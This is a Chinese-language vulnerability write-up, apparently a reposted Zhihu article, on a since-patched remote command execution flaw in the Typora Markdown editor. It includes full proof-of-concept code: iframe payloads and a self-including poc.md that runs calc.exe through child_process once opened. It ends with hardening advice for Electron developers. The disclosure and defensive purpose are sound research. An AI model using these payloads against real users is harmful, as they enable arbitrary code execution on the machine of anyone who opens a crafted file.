如何在 Typora 编辑器上实现远程命令执行

本文原发于知乎专栏,查看原文

Typora 简介

Typora 是一款颜值与实力共存的跨平台 Markdown 编辑器,与 Vscode、Atom、GitHub Desktop 一样,Typora 也基于 Electron 框架进行开发,它抛弃了双栏写作以及写后预览的理念,将写作与预览窗口相结合,重新捡起了富文本「所见即所得」的呈现方式。

不得不说,在提升便利性和用户体验的同时,也正是自动实时预览的功能给我们的漏洞提升了利用价值,此漏洞已在高于 0.9.9.57 (beta) 的版本进行了修复 —— 见 Typora for windows - dev version release

漏洞分析

在一个弱小可怜又无助的夜晚,笔者正在用本文的主角 Typora 绞尽脑汁地写文档,由于是第一次使用这个编辑器,笔者的职业病在这时候发作了。

我们知道,针对 Electron 应用,大部分时候我们只要找到了 XSS 漏洞,也就约等于完成了命令执行。所以,我们祭出祖传的 XSS payload 一顿打,惊喜发现没有任何弹窗。通过简单研究我们发现,Typora 作者在研发的时候采用了 cure53 的 DOMPurify 过滤了预览输出的 html,缓解了大部分的 XSS 攻击。

那这个编辑器就没有漏洞了吗?

当然是不可能的。Kein System ist sicher.

有人可能会想到一个神奇的标签 <iframe>,那我们不如来尝试一下。

round 1

输入:

1
<iframe src="javascript:alert(1)"></iframe>

Typora 把 `javascript:alert(1)` 当成 `file:///` 相对路径处理

我们可以看到 Typora 会把 src 当做相对路径来处理,那如果我们包含一个本地的 html 文件呢?

round 2

新建 poc.md 输入:

1
<iframe src="./poc.html"></iframe>

同目录下的 poc.html 内容如下:

1
2
3
<script>
window.parent.top.alert(1)
</script>

我们惊喜发现出现了弹窗!

alert(1) 弹窗

这个 javascript 为什么执行了呢?

我们可以通过 Typora 的 dev mode 查看一下页面源码:

1
<iframe src="E:\slide\vul\typora_poc\poc.html" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox="allow-same-origin allow-scripts" onload="window.remoteOnLoad(this)" height="24" data-user-height="24"></iframe>

我们发现有这样一个 sandbox 属性:

1
sandbox="allow-same-origin allow-scripts"

通过查阅文档 HTML Standard 发现,HTML 5 通过 sandbox 属性提升 iframe 的安全性,我们注意到文档中有一个大大的 warning:

Setting both the allow-scripts and allow-same-origin keywords together when the embedded page has the same origin as the page containing the iframe allows the embedded page to simply remove the sandbox attribute and then reload itself, effectively breaking out of the sandbox altogether.

意思就是如果在 iframe 的 sandbox 属性里同时设置 allow-scriptsallow-same-origin 的话,同源的子页面就可以通过 javascript 突破 HTML 5 的沙盒,sandbox 形同虚设。

这样我们便可以修改一下 poc.html 的源码实现命令执行:

1
2
3
4
5
6
7
8
<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

修改 poc.html 后用 Typora 打开 poc.md,弹出计算器

但是现在的漏洞利用起来非常鸡肋,受害者需要下载两个文件,同时保持在一个目录,再打开 poc.md,整个过程比较繁琐,能不能用一个文件实现呢?

尝试 srcdoc

1
<iframe srcdoc="<script>window.parent.top.alert(1)</script>"></iframe>

我们发现并没有执行,查看一下源码:

1
<iframe srcdoc="<script>window.parent.top.alert(1)</script>" guest-id="3" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox=""></iframe>

iframe 未设置 allow-scripts 的独立属性,同时 sandbox 设置为空字符串,意思是应用所有的沙盒限制,因此使用 srcdoc 的方式不可行。

尝试引入 md 文件,而非 html 文件

新建一个 cmd.md 文件,内容与之前 poc.html 一致:

1
2
3
4
5
6
7
8
<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

用 Typora 打开 poc.md 文件:

1
<iframe src="./cmd.md"></iframe>

我们发现是可以继续实行命令执行的,由此可以看出,Typora 在嵌入 md 文件之后,仍会对 md 文件的 html 标签进行解析。

直接引入 poc.md 自身

修改 poc.md 文件内容:

1
2
3
4
5
6
7
8
9
10
<iframe src="./poc.md"></iframe>

<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

引入 cmd.md / poc.md 自身后命令执行成功(计算器被弹出)

现在,我们只需要发送一个 md 文件给受害者,一旦受害者使用 Typora 打开,我们便可以在受害者的电脑上执行任意命令。

后记

随着 Electron 框架在跨平台应用开发市场取得的巨大成功,越来越多的开发者采用 Electron 进行应用开发,那么如何在开发中比较好的避免出现这些风险呢,这里有几个建议:

  1. 采用诸如 cure53/DOMPurify 类似的组件过滤用户输入输出,缓解 XSS 漏洞
  2. 各种 HTML 5 的安全属性要正确设置,特别是 iframe 标签
  3. 可以采用 Electron 的 webview 标签去包裹用户内容区,当然也要进行正确的安全设置,参考 Webview Vulnerability Fix | Electron Blog
  4. 避免使用 shell 模块去直接处理 file:// 等协议的链接
评论Comments